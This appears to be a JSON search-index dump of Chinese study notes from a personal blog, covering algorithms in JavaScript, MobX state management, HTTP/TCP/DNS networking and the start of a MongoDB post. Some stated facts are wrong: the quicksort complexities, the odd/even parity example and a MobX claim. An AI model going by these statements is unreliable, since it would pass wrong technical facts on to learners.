)\n选择排序（链表和数组）\n链表指的是链表中的元素可以存储在内存的任何地方，链表的优点在于插入元素（删除元素），只需要O(1)就可以了，但是因为它索引的地址是随机的，因此读取一个元素，可能需要O(n)\n数组的优点在于读取元素，只需要O(1)就可以了，而插入元素，就可能需要O(n)了，因为直接插入元素到数组，需要将后面的元素往后移动，而大0表示法是指最糟糕的情况，并不是一定要执行那么多次\n注意：数组索引编号是从0开始的\n选择排序的时间复杂度是O(n²)，该算法是先在找到最大或者最小的元素，放在排序序列的起始位置，然后再从剩余的序列中继续寻找最大或者最小的元素，将其放在已经排序的序列的末尾，重复，一直到全部元素都排序完毕\n例如：\nfunction data(arr) { const len = arr.length // 获取目标的长度 let minindex, temp // 定义最小索引和排序存储 for (let i = 0; i \u0026lt; len - 1; i++) { minindex = i // 获取当前最小索引（待排序） for (let j = i + 1; j \u0026lt; len; j++) { if (arr[j] \u0026lt; arr[minindex]) { // 寻找最小的数 minindex = j //将最小的数的索引进行存储 } } temp = arr[i] // 最小索引的值等于temp arr[i] = arr[minindex] // 最小索引的值等于最小的数的索引 arr[minindex] = temp // 最小的数的索引等于temp } return arr } const abc =[1,3,5,2,9,4,6,10,7,18,8] data(abc) 递归\n\u0026ldquo;Loops may achieve a performance gain for your program. Recursion may achieve a performance gain for your programmer. Choose which is more important in your situation!\u0026rdquo;\u0026mdash;Leigh caldwell\n递归说白了就是递归函数自己调用自己，因为存在自己调用自己的情况，因此要确保递归函数在什么情况就应该停止，而不是无限循环下去，递归函数要有俩个条件，基线条件（base case）和递归条件（recursive），递归条件就是递归函数调用自己，基线条件是在什么条件下不再调用自己（例如将递归条件放在一个if判断中，当满足递归条件就递归，不满足就基线条件）\n栈（call stack）\n栈是一种数据结构，存在着转移控制权，转移数据，清除或者释放数据的特性（临时存储，压入，弹出），可以用来存储多个函数的变量，当需要该变量的时候插入，不需要就弹出，当栈很高的时候，会导致存储了大量函数要调用的变量，会占用大量的内存，因此在这种情况下循环或者尾递归可能更好\n递归：如果一个函数可以在内部调用其本身，那么这个函数是递归函数，函数内部自己调用自己\n递归效果和循环是一致的，所有递归容易出现栈溢出错误（stack overflow），需要加上退出条件return\n例如：\nvar num = 1; function hallo(){ console.log(num); if(num == 10){ return; } num++; hallo(); } hallo(); 递归求阶乘\n阶乘：指的是一个正整数的阶乘是所有小于及等于该数的积，并且0的阶乘为1\nfunction hallo(num){ if(num == 1){ return 1; } return num * hallo(num - 1) } console.log(hallo(10)) // 3628800 递归求斐波那契数列（兔子序列）\n特点，第一个数加第二个数等于第三个数，第二个数加第三个数，依次类推\n因此需要计算得到斐波那契数列对应数字，只需要指定位置的前两项（n-1，n-2）就可以得出第n个斐波那契数列对应的数字\n例如：\nfunction hallo(num){ if(num == 1 || num == 2){ return 1; } return hallo(num-1) + hallo(num-2); } console.log(hallo(10)); 快速排序\ndivide and conquer（D\u0026amp;C）：找出基数条件，分解问题（缩小问题的规模），一直到符合基数条件\n注意：D\u0026amp;C定义要求每次递归调用，都必须缩小问题的规模，（缩小问题的规模可以依赖于欧几里得算法（求最大公约数的算法））\n当基数条件为数组为空或者只有一个元素时，直接返回数组（因为不需要排序），因此快速排序的元素个数必须大于等于2\n快速排序的工作原理就是从数组中选择一个元素，这个元素叫基准值（pivot），然后找到比基准值小的元素和比基准值大的元素，这时候有一个比基准值小的数值组成的子数组和一个比基准值大的数值组成的子数组，和一个基准值，这个被叫为分区（partitioning），如果子数组是有序的，直接左边子数组加基准值加右边子数组就完成排序了，如果不是有序的，那么将那俩个子数组进行快速排序，再合并（当子数组只有一个元素，那么就不需要进行排序了）\n快速排序的时间复杂度取决于基准值，快速排序平均情况下，时间复杂度为O(n log n)，一般情况下大O表示法会忽略常量（算法所需要的固定量），因为在数量很大的计算中，常量根本没有影响，但是当时间复杂度相同的时候，就可以看常量了，常量越小，算法的时间复杂度越小，最糟糕的情况下快速排序的时间复杂度为为O(n)，而最佳情况下为O(log n)\n散列表（散列映射，字典，关联数组）\n散列函数：当输入一个数据，将返回一个数据，而且返回的数据是一致的（输入数据一样的情况下，得到的数据必须要一样，输入不同数据的时候，得到的数据也必须不一致），散列函数必须知道数组有多大（只返回有效数据），散列函数精确指出某个数据的存储位置，不需要查找，平均情况下时间复杂度为O(1)\n散列表由键和值组成，当输出键或者值的时候，可以获得对应的值或者键，散列表可以用于避免出现重复数值，缓存（记住数据，避免重新计算数据或者重新处理数据）\n注意：如果散列表存储的链表很长，那么散列表的速度将会变慢，而且还可能存在冲突（多个数据占用一个位置，如果要解决冲突，只能在这个位置上再建立一个链表，来存储多个数据）\n填装因子：计算数组被占用的位置数，算法为散列表包含的元素数除以位置总数，得到的值为该散列表的填装因子，当填装因子大于1的时候，就表示该数组位置数不足，必须要添加位置（调整长度（resizing）），填装因子越小，出现冲突的可能就越小，散列表的性能就越高\n广度优先搜索（breadth-first search，BFS）\n广度优先搜索可以解决最短路径问题（shortest-path problem），用于图的查找算法\n图由一个个节点和边组成，一个节点可能和多个节点之间直接相连，那么这些节点又被叫为邻居，图被用于模拟不同的东西是如何相连的\n广度优先搜索可以解决图的两个问题，在某节点上，有前往某个节点的路径吗?和在某节点上，怎么前往某个节点最快，广度优先搜索的原理就是先搜索和起点直接连接的节点（一度关系），再查找二度关系（和二度关系有直接连接的节点），从起点开始向外延伸，如果目标在一度关系上，那么前往该目标的节点存在，而且可以直接前往，如果目标在二度关系上，那么找到二度关系于一度关系相连的路径上，这必须按照添加的顺序才能查找出来\n队列（queue）：一种先进先出的数据结构（First In First Out，FIFO），栈则是后进先出的数据结构（Last In First Out，LIFO）\n深度优先算法\n狄克斯特拉算法\n贪婪算法\n动态规划\nK最近相邻算法\n堆/栈/队列/优先级队列\n链表/反向链表/Hash/二叉树/红黑树\n大O标识法和时间复杂度\n","permalink":"https://chenjunlinabc.github.io/posts/79/","summary":"虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写\n算法不会被程序语言所限制，也不会一个实现只有一个算法\n常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）\n算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)\n大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同\n一个算法执行的时间和解决问题的规模大小相关\n假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)\n大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少\n时间复杂度：\nO(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Complexity: 对数复杂度 O(n): Linear Complexity: 线性时间复杂度 O(n^2): N square Complexity 平⽅方 O(n^3): N square Complexity ⽴立⽅方 O(2^n): Exponential Growth 指数 O(n!): Factorial 阶乘\n算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）\n删除有序数组中的重复项\n保证有序数组中的元素是不重复的，也就是说不存在重复的元素\n有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的\n例如：\nlet arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a\u0026lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上","title":"算法学习笔记"},{"content":"Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）\nMobx通过透明的函数响应式编程使得状态管理变得简单和可扩展\nMobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）\n安装Mobx\nnpm install mobx mobx-react --save 或者\nyarn add mobx mobx-react --save 导入\nimport {observable, autorun, computed, action, makeObservable,reaction,when} from \u0026quot;mobx\u0026quot; import {observer} from \u0026quot;mobx-react\u0026quot; 注意：在严格模式中，是不允许在action之外改变状态的\n启动严格模式\nimport {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值\n数据变化可被观察，例如：\nlet appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象\nmakeObservable（手动配置observable，action，computed）\nconst store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this.count += 1 }, decrement(){ this.count -= 1 }, },{ count: observable, // 响应的属性 double: computed, // 计算属性 increment: action, // 修改状态 decrement: action, // 修改状态 }) makeAutoObservable（自动配置observable，action，computed，全部自有属性都为observable，全部getters为computed，全部computed都为action）\nconst store = makeAutoObservable({ count: 666, get double(){ return this.count*2 }, increment(){ this.count+=1 }, decrement(){ this.count-=1 } }) 计算属性（observable.box）\nlet datas = observable.box(1000) let dataa = observable.box(666) let abc = computed(function(){ return dataa + datas }) console.log(abc.get()) 操作状态（添加观察者，当状态发生变化，就会触发）\nautorun(() =\u0026gt; { appdata.datas = appdata.datas + 1 console.log(appdata.datas) }) 监听数据变化（当store的状态发生改变，autorun方法就会被调用）\nlet xyz = observable({ title: \u0026quot;hello world\u0026quot; }) autorun(() =\u0026gt; { console.log(xyz.title) }) xyz.title = \u0026quot;hallo mobx\u0026quot; 当被观察数据被修改时，autorun()就会被触发\nreaction监听\nreaction(() =\u0026gt; store.count, (a, b) =\u0026gt; { // 当store.count修改就会被调用 // 第一个值是当前值，第二个值为修改后的值 console.log(a - b) } ) when监听\nwhen(() =\u0026gt; store.count \u0026gt; 666, () =\u0026gt; { console.log(store.count) }) (async function() { // when还会返回一个promise await when(() =\u0026gt; store.count \u0026gt; 666) console.log('store.count \u0026gt; 666') })() Mobx和Redux的比较：Redux通过限制数据的修改，Store中的数据是不可修改，只能通过action来修改，减少冗余。而Mobx就是通过自动更新来确保数据一致\nmobx鼓励使用多个store仓库，而Redux鼓励一个应用使用一个Redux仓库\n","permalink":"https://chenjunlinabc.github.io/posts/78/","summary":"Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）\nMobx通过透明的函数响应式编程使得状态管理变得简单和可扩展\nMobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）\n安装Mobx\nnpm install mobx mobx-react --save 或者\nyarn add mobx mobx-react --save 导入\nimport {observable, autorun, computed, action, makeObservable,reaction,when} from \u0026quot;mobx\u0026quot; import {observer} from \u0026quot;mobx-react\u0026quot; 注意：在严格模式中，是不允许在action之外改变状态的\n启动严格模式\nimport {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值\n数据变化可被观察，例如：\nlet appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象\nmakeObservable（手动配置observable，action，computed）\nconst store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this.","title":"Mobx学习笔记"},{"content":"HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的\nHTTP是基于TCP/IP协议来传输数据的\n访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应\n浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL\nhttp是一种协议，制定了客户端与服务端信息数据的传递的规则\n从传递文本，到传递图片，音频，视频\nHTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）\nhttp协议规定了会话是由客户端发起，服务端响应的\n客户端常见请求方式有GET，POST\nOSI七层模型，http协议是最上层的应用层\n应用层，表示层，会话层，传输层，网络层，数据链路层，物理层\n数据发送是从应用层到物理层（数据封装）\n数据接收是从物理层到应用层（数据解包）\n应用层就是为终端提供服务的，例如http，ftp等等\n表示层为数据提供压缩，加密等等功能\n会话层就是通过会话标识来确定是于哪个应用在通讯\n传输层就是定义了数据传输的协议和端口\n网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包\n数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧\n物理层就是物理设备的标准\nTCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层\n路由寻址：ip，mac，dhcp服务器\n先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理\nDNS\nDNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理\n解析过程：\n机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询\n本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求\n根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器\n本地域名服务器向顶级域名服务器发起查询\n顶级域名服务器根据域名结构查找到对应的二级域名服务器\n反复迭代最终查找到域名和 IP 的对应关系\n如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度\nDNS解析的记录类型\nA记录\n直接将域名解析为IP\nCNAME记录\n给域名起个cname别名，例如访问了xxx会转发到aaa的域名上\nNS记录\n域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器\nMX 记录\n电子邮箱服务，将指向邮件服务器地址\nCDN加速过程：\n用户访问域名地址\n因为域名被cdn接管了，域名解析只能获取到CNAME\nCDN通过CNAME来将地址代理到cdn服务器上，而不是源站\n通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器\ncdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户\nHTTPS协议\n通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443\nhttps就是在http协议基础上加了ssl协议\n一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示\n某些需要极其安全的需要客户端也是要证明身份，例如银行网站\nSSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改\nHTTP方法：定义了对资源的操作，例如GET，POST等等\n前端中的HTTP\n先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）\nhttp常见状态码\n1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误\n域名dns解析，发起TCP的3次握手，建立TCP连接发起http请求，服务器响应http请求，发送资源，浏览器得到资源后进行解析渲染\nTCP的三次握手：\n握手的目的是进行信息的同步，tcp是一种可靠连接，客户端和服务端会经历建立连接的阶段，而这个建立TCP连接的过程就是所谓的握手（握手实质是发送TCP报文）\n第一次握手客户端向服务器发送一个SYN段为1（Seq为随机数）的TCP/IP数据包（客户端进入SYN_SENT状态，已发送同步数据）\n第二次握手服务器返回客户端SYN和ACK（SYN为1，ACK为上一次握手Seq的值+1，Seq又为另一个随机数）的TCP/IP数据包（服务端进入SYN_RECVD状态，表示同步数据已收到）\n第三次握手客户端返回一个ACK段为上一次握手的Seq的值+1，Seq的值为另一个随机数的TCP/IP数据包给服务器（客户端接收到ACK为1的确认报文，正式进入连接状态）\nACK和Seq实质上是确认服务器和客户端都可以正常响应的（响应没有丢失，并且传输的数据也正确），只有三次握手完成才能建立HTTP连接\nTCP四次挥手\nTCP四次挥手是指关闭TCP连接的过程（断开TCP连接）\n第一次：当客户端的某个数据传输完毕后需要断开连接，向TCP发送FIN=1（报文段），要求停止再发送数据，关闭TCP连接（客户端进入FIN_WAIT_1状态，终止等待）\n第二次：服务端收到报文段并且发送确认报文段（ACK=1），进入等待关闭的状态（服务端进入CLOSE_WAIT状态（关闭等待））\n第三次：当服务端的数据传输完毕后，服务端发送连接断开的报文段（FIN = 1,ACK=1），进入最后的等待状态（服务端进入LAST_ACK状态，最后的确定）\n第四次：当客户端收到服务端的断开的报文段（FIN = 1），并且发送确认的报文段（ACK = 1），进入等待状态（CLOSe状态）\n实质上完成四次挥手也是没有断开的，需要经过等待定时器2MSL，才会关闭，保证下一次新连接中不会出现以前连接遗留的报文段\n2MSL即两倍的MSL，TCP的TIME_WAIT状态也称为2MSL等待状态\nTIME_WAIT状态是为了避免网络问题，导致ACK报文无法被对方接收到，而利用这个时间来重发可能丢失的报文\nMSL(Maximum Segment Lifetime)报文最长存活时间，表示报文可以存活的最长时间，而2MSL足以让客户端的报文和服务端的报文都失效了，确保没有当前的连接的报文还存活\n注意：如果在等待时间内，接收到了FIN字段的报文将会导致2MSL重新计算，直到没有接收到FIN字段的报文，并且也过了2MSL后才会断开TCP连接\nHTTP 1.1可以在一次连接中处理多个请求，请求排队处理，而不像1.0那样每一次请求都要建立单独的TCP连接，每一次请求完毕后，自动释放\n设置请求优先级，在一次连接中处理多个请求，必定会出现请求堵塞，因此，给请求设置优先级，重要的请求先得到响应\n请求头压缩，基于https的加密协议传输\nHTTP 2.0性能提升，可以在一次连接中处理多个请求，而且还是并行进行的，不会出现堵塞问题\nconst errorMessage = [ { code: 400, msg: '请求错误' }, { code: 401, msg: '未授权，请登录' }, { code: 403, msg: '拒绝访问' }, { code: 404, msg: '请求地址出错' }, { code: 408, msg: '请求超时' }, { code: 500, msg: '服务器内部错误' }, { code: 501, msg: '服务未实现' }, { code: 502, msg: '网关错误' }, { code: 503, msg: '服务不可用' }, { code: 504, msg: '网关超时' }, { code: 505, msg: 'HTTP版本不受支持' } ] http的特点：可以根据协议头的head的数据类型，来完成不同的数据类型的传输，而且能保持连接（http1.0是非长时间连接，这里的保持连接指的是HTTP1.1的KeepAlive），不区分连接者的身份（无法分辨该客户是否访问过）\nhttp请求报文：由请求行（HTTP协议版本，URL字段，方法字段），请求头（向服务端请求要什么类型的什么数据），空行（提示服务端，请求头已经发送，不会再有请求头），请求体（数据）组成\nhttp响应报文：由响应行（HTTP协议版本，状态码），响应头（响应数据是什么类型的），空行（提示客户端，响应已经发送，不会再有响应），响应体（数据）组成\nHTTP CODE：表示服务器对请求的处理结果，常见的状态码有404，200，301，502，401等等\nTCP心跳机制：客户端每隔一段时间发送心跳包给服务端，通知服务端自己还在线，可以保持长连接\nKeepAlive模式（持久连接/连接复用）：可以在发送响应后的一段时间内保持连接，并且允许在同一个连接中存在多次数据请求和响应，而非KeepAlive模式就是会在响应后立刻断开连接，再新建一个连接来请求和响应，只有HTTP1.1支持KeepAlive模式\n管线化：在持久连接下，会将请求一起打包发送（多请求），然后服务端也是打包响应（多响应），管线化必须在持久连接下完成，而且只有GET和HEAD请求支持管线化，POST有所限制，首次连接不会使用管线化机制（避免服务端不支持HTTP1.1）,而且管线化不会影响响应返回的顺序\nTCP和UDP区别：tcp在发送之前需要连接，udp在发送之前不需要连接，tcp协议保证发送的数据不丢失（并且按照顺序接收），而udp并不能保证数据可靠，数据不丢失，不重复。tcp是字节流，udp是报文流，UDP没有堵塞系统（在网络堵塞的情况，不会影响源的发送量），tcp连接是点对点，udp的连接是可以一对一，一对多，多对一，多对多的，TCP首部开销为20字节，udp为8字节，tcp为可靠信道，udp为不可靠信道\n(TCP可靠在会记录那些数据发送了，又有那些数据被接收了，那些数据没有被接收，数据包按序到达，不允许出现半点差错，tcp连接需要三次握手，四次挥手来建立连接和结束连接)\nudp确保传输可靠：传输层已经不可靠，只能在应用层添加可靠传输的机制，例如超时重新发送，添加序号（根据序号有序发送/请求），时间戳等等，或者UDT（UDP-based Data Transfer Protocol）\n(TCP在高速长距离网络上性能很差)\nudt基于udp协议，引入拥塞控制和数据可靠性控制机制。UDT是面向连接的双向的应用层协议。并且同时支持可靠的数据流传输和部分可靠的数据报传输，支持点对点(p2p)\ntcp第三次握手可以携带数据发送（客户端处在ESTABLISHED状态）\nhttp和https\nhttp是无状态协议（无状态指客户端和服务端之间无需建立持久连接，当客户端发送请求，服务端返回响应后将关闭连接，服务端不保留任何有关连接的信息）\nhttps是指基于http协议加上了ssl层，https默认端口为443\n对称加密技术：加密和解密使用同一密钥，意味着数据传输过程中需要将密钥也一同传输（这个过程很危险）\n非对称加密：加密使用公钥，解密使用私钥（也可反过来），反正加密和解密是分别使用不同的密钥，这个过程是服务端将公钥分发到网络上，客户端获取到该公钥，客户端的数据使用公钥进行加密（无法使用公钥来解密），服务端获取到加密的数据后，通过服务端的私钥进行解密，来获取正文\nURL（Uniform Resource Locator，统一资源定位符）\nURN（Uniform Resource Name，统一资源名）\n流量控制和拥塞控制\n流量控制指的是限制（控制）发送者的发送速度，避免发送数据过快，接收者来不及接收，流量控制通过滑动窗口协议（连续ARQ协议）实现，通过接收方返回的ACK包（包含接受窗口大小），利用接受窗口大小来限制（控制）发送方的数据发送\n拥塞控制\n拥塞控制目的是防止网络负载过大，TCP的4大拥塞控制算法的，慢开始算法，拥塞控制算法，快重传算法，快恢复算法\n慢开始算法：通过cwnd（congestion window）值来控制（如果cwnd为1，那么只能发送1个数据报文段）\n慢开始算法的思路就是一开始不发送大量的数据，先测一下网络的拥塞的大小，从小到大逐渐增长拥塞窗口，慢开始门限初始值为16，cwnd初始化为一个报文段（慢开始算法只在TCP连接建立时和网络超时才使用）\n拥塞控制算法：控制拥塞窗口缓慢增长，思路是每经过一次RTT往返后，拥塞窗口（cwnd）加1，线性缓慢增长，当cwnd=16（慢开始门限），改执行拥塞控制算法，线性增长（当cwnd\u0026gt;=ssthresh时，执行拥塞控制算法），ssthresh指的是慢开始门限\n例如：当网络出现拥塞时，将下降慢开始门限（ssthresh）到cwnd/2的值，cwnd设置为1，执行慢开始算法，当cwnd=ssthresh，执行拥塞控制算法\n快重传算法：需要接收方收到失序的报文段时立刻发出重复确认（接收连续收到3次同一个重复确认，执行快重传算法，立刻重新发送丢失的数据，不等待超时时间过期），例如某个报文段被超时期限内没有收到确认信息，则认定为网络拥塞了，这时cwnd设置为1，慢开始门限（ssthresh）下降（下降一半）\n快恢复算法：快恢复算法是搭配快重传算法使用的，必须发送方接收到3个重复确认，执行快重传算法后才执行快恢复算法，（但是考虑网络出现拥塞可能收不到重复确认，所以发送方会认为网络没有拥塞，设置swnd等于ssthresh/2，执行拥塞控制算法，让cwnd线性增长）\n题外扩展1：socket是计算机之间进行通信的一种约定或一种方式，翻译为中文叫套接字，socket起源于unix的进程通信机制，可通过socket来向网络发送请求或者回复网络请求，socket是应用层和TCP/IP协议族通信的抽象层\n题外扩展2：webSocket是在单个TCP连接上进行全双工通信(full-duplex)的协议，允许服务端主动向客户端发送数据，在webSocket中，客户端和服务端只需要完成一次握手就是可以建立持久性连接，并且进行双向数据传输\n当浏览器访问一个域名时，发送了什么事情？\n客户端（浏览器端）访问域名，该域名下的DNS解析服务器将解析出ip地址，并且通过该ip地址找到目标web服务端\n客户端通过tcp3次握手和服务端建立TCP连接，客户端根据需求，向web服务端发送http请求报文，向服务器请求所需要的资源文件，web服务端接收到http请求报文，根据要求返回HTTP响应报文\n如果请求资源是html文档，则将对应目录下的HTML文档，以响应内容的方式返回给客户端，而当请求资源是php文件或者jsp文件时，由于web服务器无法处理php脚本或者jsp脚本文件，需要委托给专门的php引擎或者jsp引擎，引擎动态解析成html，然后将其返回给web服务器，web服务端再发送给客户端\nhttp的长连接（复用tcp/http连接）\nConnection ID：用于区分http连接，不同的http连接，ID是不同的\n判断是否是http长连接，通过headers的Connection来判断，如果为keep-alive就是代表该请求是http的长连接完成的，如果是close表示是短连接\n因为浏览器限制一个域最大创建6个连接，如果一个域有7个连接需求，就需要等待前面的6个连接其中一个响应完成后再建立连接（连接阻塞）\nTCP的可靠性\n奇偶校验（在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错）\n这里使用的是00001010，a的二进制\n奇校验：在字节后补个0，例如：000010100，位为1的数量为偶数（2个）\n偶校验：在字节后补个1，例如：000010101，位为1的数量为奇数（3个）\n累加和校验（在数据包的最后加入之前全部数据的字节点累加和）\n例如：要传输8，10，2，5，12\n加上累加后实质的数据包为8，10，2，5，12，37\n而且这个37就是前面全部数据的累加校验和，数据接收方只需要对前面的数据进行累加计算，如果这个本地的累加计算和数据包最后一个字节不相同时，认定数据错误，否则数据正确\nCRC校验（CRC算法）\nDV（域名验证）证书，OV（组织验证）证书，EV（扩展验证）证书\nDV ssl证书颁发只验证申请人是否具备域名所有权，OV ssl证书颁发验证申请人的身份证明，确认对方的身份，EV ssl证书颁发最为严格，在验证申请人的身份证明，一般都是银行，金融，电子商务，大型企业，保险等需要最高级别加密才会使用（因为EV证书价格贵）\n","permalink":"https://chenjunlinabc.github.io/posts/77/","summary":"HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的\nHTTP是基于TCP/IP协议来传输数据的\n访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应\n浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL\nhttp是一种协议，制定了客户端与服务端信息数据的传递的规则\n从传递文本，到传递图片，音频，视频\nHTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）\nhttp协议规定了会话是由客户端发起，服务端响应的\n客户端常见请求方式有GET，POST\nOSI七层模型，http协议是最上层的应用层\n应用层，表示层，会话层，传输层，网络层，数据链路层，物理层\n数据发送是从应用层到物理层（数据封装）\n数据接收是从物理层到应用层（数据解包）\n应用层就是为终端提供服务的，例如http，ftp等等\n表示层为数据提供压缩，加密等等功能\n会话层就是通过会话标识来确定是于哪个应用在通讯\n传输层就是定义了数据传输的协议和端口\n网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包\n数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧\n物理层就是物理设备的标准\nTCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层\n路由寻址：ip，mac，dhcp服务器\n先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理\nDNS\nDNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理\n解析过程：\n机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询\n本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求\n根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器\n本地域名服务器向顶级域名服务器发起查询\n顶级域名服务器根据域名结构查找到对应的二级域名服务器\n反复迭代最终查找到域名和 IP 的对应关系\n如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度\nDNS解析的记录类型\nA记录\n直接将域名解析为IP\nCNAME记录\n给域名起个cname别名，例如访问了xxx会转发到aaa的域名上\nNS记录\n域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器\nMX 记录\n电子邮箱服务，将指向邮件服务器地址\nCDN加速过程：\n用户访问域名地址\n因为域名被cdn接管了，域名解析只能获取到CNAME\nCDN通过CNAME来将地址代理到cdn服务器上，而不是源站\n通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器\ncdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户\nHTTPS协议\n通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443\nhttps就是在http协议基础上加了ssl协议\n一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示\n某些需要极其安全的需要客户端也是要证明身份，例如银行网站\nSSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改\nHTTP方法：定义了对资源的操作，例如GET，POST等等\n前端中的HTTP\n先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）\nhttp常见状态码\n1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误","title":"简单认识HTTP协议"},{"content":"MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）\nMongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）\n关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server\n而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation 